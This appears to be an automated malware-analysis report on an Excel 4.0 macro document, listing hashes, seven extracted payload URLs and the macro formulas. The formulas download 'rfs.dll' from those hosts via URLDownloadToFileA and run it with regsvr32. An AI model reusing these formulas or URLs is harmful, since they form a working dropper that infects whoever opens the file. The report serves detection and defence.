General
-
Target
ca522d9cf74cbce1b26dc5fa09e144581aa698e9acffd5cd35672a940c8e41d3
-
Size
32KB
-
MD5
106114b7bcca39c90e8b96a9ee4eacf1
-
SHA1
65785d4bc5347d6b9335e951cf269640f6541cf1
-
SHA256
ca522d9cf74cbce1b26dc5fa09e144581aa698e9acffd5cd35672a940c8e41d3
-
SHA512
800fbafb764b2c04e3e2b02b4ce6b8e771e399b63d6c5bbd6f0336510dcda8cc4fb6b84beac487071b9d7cb38fd1f709569f16fbe10a190f0c0dc4a72199f5a7
-
SSDEEP
768:cjf8WFhN7beEizXT2LxdFfPdkqstJVE6D:2EsTXrgXUndkq8E6D
Malware Config
Extracted
https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/
https://alejandrastamateas.com/web/ZxA3zHwsH3r/
https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/
http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/
http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/
https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/
https://al-brik.com/vb-w/U/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alejandrastamateas.com/web/ZxA3zHwsH3r/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://al-brik.com/vb-w/U/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
ca522d9cf74cbce1b26dc5fa09e144581aa698e9acffd5cd35672a940c8e41d3